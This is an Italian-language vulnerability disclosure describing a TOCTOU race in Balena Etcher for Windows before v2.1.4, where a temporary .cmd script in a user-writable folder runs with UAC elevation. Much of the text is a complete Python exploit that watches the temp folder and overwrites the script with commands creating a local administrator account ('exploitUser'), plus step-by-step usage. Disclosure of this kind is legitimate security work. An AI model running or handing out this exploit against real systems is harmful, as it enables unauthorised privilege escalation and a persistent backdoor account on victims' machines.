
Balena Etcher versioni precedenti alla v2.1.4 su Windows sono affette da una condizione di gara Time-of-Check to Time-of-Use (TOCTOU) nella gestione dei file temporanei.
È stata identificata una vulnerabilità Time-of-Check to Time-of-Use (TOCTOU) in Balena Etcher per Windows nelle versioni precedenti alla 2.1.4.
L'applicazione crea un file .cmd temporaneo in una directory scrivibile dall'utente e successivamente lo esegue con privilegi elevati tramite UAC.
Ciò consente a un'applicazione o processo in esecuzione nel contesto dell'utente corrente con integrità media di elevare i privilegi a integrità alta iniettando comandi dannosi nello script temporaneo prima della sua esecuzione.
Quando un utente avvia il processo di flashing, Etcher esegue la seguente sequenza:
Un file .cmd temporaneo viene creato nella directory temporanea scrivibile dall'utente:
C:\Users\<username>\AppData\Local\Temp\etcher\
Il file viene popolato con le variabili d'ambiente necessarie e il comando per avviare etcher-util.exe.
Lo script viene eseguito con privilegi elevati tramite UAC di Windows.
La vulnerabilità deriva dall'intervallo di tempo tra la creazione del file e la sua esecuzione. Durante questa breve finestra, un'applicazione in esecuzione nello stesso contesto utente può monitorare la directory temporanea e sostituire il file .cmd legittimo con una versione dannosa. Poiché Etcher non valida l'integrità del file prima di eseguirlo, il codice dannoso viene eseguito con privilegi elevati.
Il seguente script Python monitora la directory temporanea di Etcher e, una volta rilevato il file .cmd, vi aggiunge un payload dannoso che crea un nuovo account amministratore locale.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py. Lo script inizia a monitorare la directory temporanea per qualsiasi file .cmd creato da Etcher.
Quando appare il prompt UAC, accettarlo per consentire a Etcher di continuare con privilegi elevati.
Lo script exploit rileva e sostituisce il file .cmd temporaneo appena prima dell'esecuzione. Una volta che lo script viene eseguito con privilegi elevati, i comandi iniettati vengono eseguiti aggiungendo un nuovo utente amministratore locale (exploitUser).